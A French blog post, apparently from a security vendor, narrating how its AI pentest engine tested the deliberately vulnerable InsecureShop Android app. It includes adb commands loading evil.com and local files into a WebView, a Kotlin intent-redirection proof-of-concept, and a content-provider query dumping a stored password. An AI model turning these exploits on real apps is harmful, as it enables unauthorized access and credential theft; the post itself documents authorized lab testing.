Pentest assisté par l'IA : analyse approfondie de la redirection d'intents sous Android

L'AI Pentest Engine d'Ostorlab est conçu pour reproduire le processus complexe, en plusieurs étapes, d'un chercheur en sécurité humain expert. Il ne se contente pas de lancer un scanner et de rapporter sa sortie : il formule des hypothèses, les teste et valide lui-même ses résultats.

Pour le mettre à l'épreuve, nous avons dirigé le moteur vers l'application Android InsecureShop avec pour objectif de tester les vulnérabilités de redirection d'intents. L'objectif de test d'une classe de vulnérabilités est défini par un module de renseignement sur les menaces qui identifie tous les risques et le contexte à tester, mais nous y reviendrons dans de prochains articles.

S'en est suivi un processus de pentest élégant et rapide. Le moteur d'IA a décompilé l'application, identifié des composants potentiellement vulnérables par analyse statique, puis tenté rigoureusement de valider chaque résultat par analyse dynamique et par des applications de preuve de concept.

Cet article documente le workflow complet et non édité du moteur, en soulignant non seulement sa capacité à trouver des bugs critiques, mais aussi, tout aussi important, sa capacité à les confirmer ou à les exclure.

Génération du plan de test

La première étape de l'AI Engine consiste à élaborer une méthodologie en 10 tâches, avec les objectifs suivants :

• Identifier tous les composants exportés de l'application et leurs filtres d'intents
• Analyser la gestion des intents pour détecter d'éventuelles failles de redirection
• Fuzzer les composants avec des intents malveillants pour déclencher des comportements inattendus
• Développer des applications de preuve de concept complètes pour les vulnérabilités confirmées

Détail du plan

1. Décompilation de l'APK - Extraire le fichier AndroidManifest.xml, les ressources et le code source pour cartographier la surface d'attaque de l'application
2. Analyse des composants - Énumérer toutes les activités, tous les services et tous les broadcast receivers, en se concentrant sur les composants avec android:exported=true
3. Documentation des filtres d'intents - Documenter les actions, catégories et schémas de données de chaque composant exporté
4. Revue du code source - Examiner les composants exportés à la recherche de schémas où des objets Intent sont créés ou extraits des extras d'un intent reçu
5. Mise en place de l'environnement - Installer l'application sur un appareil de test avec des outils de journalisation et de surveillance activés
6. Fabrication d'intents malveillants - Créer des intents contenant des intents imbriqués dans les bundles d'extras pour tester les capacités de redirection
7. Test d'élévation de privilèges - Cibler les composants non exportés au moyen d'intents imbriqués pour tester les accès non autorisés
8. Surveillance du système - Surveiller logcat et le comportement de l'application pour repérer les signes d'une redirection d'intent réussie
9. Développement de PoC - Créer des applications Android démontrant l'impact sur la sécurité grâce à des intents malveillants
10. Documentation - Documenter les résultats avec les composants vulnérables, les intents malveillants utilisés et le code source des PoC

Raisonnement du moteur, étape par étape

apk_path='/REDACTED/InsecureShop.apk'_

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

  <application android:debuggable="true" ...>
    <activity android:name="com.insecureshop.WebViewActivity">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="insecureshop" android:host="com.insecureshop"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
      <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
    ...
    <provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
    <service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
  </application>
</manifest>

Résultat 1 : inclusion de fichiers locaux dans WebViewActivity

L'analyse statique de WebViewActivity.java par l'IA et de son entrée correspondante dans le manifeste a conduit à une hypothèse : l'activité pouvait être amenée à charger des fichiers locaux via le paramètre url d'une URI personnalisée, ce qui indiquait une éventuelle vulnérabilité d'inclusion de fichiers locaux (LFI). L'IA est ensuite passée à la validation de cette hypothèse.

Étape 1 : Trigger the Webview
- Nom de l'outil : adb
- Arguments :

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com

Étape 2 : Result Observation
- Nom de l'outil : run_take_screenshot
- Sortie : Successfully captured 1 screenshots.

Étape 3 : Create Test File
- Nom de l'outil : adb
- Arguments :

shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html

Étape 4 : Attempt to Load Local File via Intent
- Nom de l'outil : adb
- Arguments :

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"

Étape 5 : Result Observation - Nom de l'outil : run_take_screenshot
- Sortie : Successfully captured 1 screenshots.

Résultat 2 : redirection d'intent dans WebView2Activity

L'IA a ensuite analysé WebView2Activity, une activité exportée qui semblait lancer n'importe quel Intent qui lui était transmis sous la forme d'un extra Parcelable nommé extra_intent. C'est un schéma classique de redirection d'intent, qui pourrait permettre à une application malveillante de lancer des composants non exportés.

Pour le valider, l'IA a construit et déployé une application malveillante de preuve de concept, conçue pour exploiter cette faille et lancer la PrivateActivity non exportée.

Étape 1 : Build and Install PoC

Nom de l'outil : run_build_app
Arguments :
Imports :

  import android.content.ComponentName
  import android.content.Intent
  import android.os.Bundle
  import androidx.appcompat.app.AppCompatActivity

PoC Application Code :

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val maliciousIntent = Intent()
        maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")

        val wrapperIntent = Intent()
        wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
        wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
        wrapperIntent.putExtra("extra_intent", maliciousIntent)

        startActivity(wrapperIntent)
    }
}

Nom de l'outil : adb
Arguments :

install /REDACTED/pentestingApp-debug.apk

Sortie :

    Performing Streamed Install
    Success

Étape 2 : Launch PoC and Observe

Nom de l'outil : adb
Arguments :

shell am start -n com.example.pentestingapp/.MainActivity

Sortie :

Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }

Nom de l'outil : run_take_screenshot
Sortie : Successfully captured 1 screenshots.

Résultat 3 : fuite d'identifiants via InsecureShopProvider

L'IA a identifié un content provider exporté, protégé par une permission de niveau normal, ce qui laissait penser que n'importe quelle application pouvait l'interroger. L'analyse statique de InsecureShopProvider.java indiquait qu'il renvoyait les identifiants d'utilisateur stockés.

<provider 
    android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
    android:readPermission="com.insecureshop.permission.READ" 
    android:exported="true" 
    android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
        MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
        String[] strArr = new String[2];
        String username = Prefs.INSTANCE.getUsername();
        if (username == null) {
            Intrinsics.throwNpe();
        }
        strArr[0] = username;
        String password = Prefs.INSTANCE.getPassword();
        if (password == null) {
            Intrinsics.throwNpe();
        }
        strArr[1] = password;
        cursor.addRow(strArr);
        return cursor;
    }
    return null;
}

shell content query --uri content://com.insecureshop.provider/insecure

Row: 0 username=shopuser, password=!ns3csh0p

<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>

{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}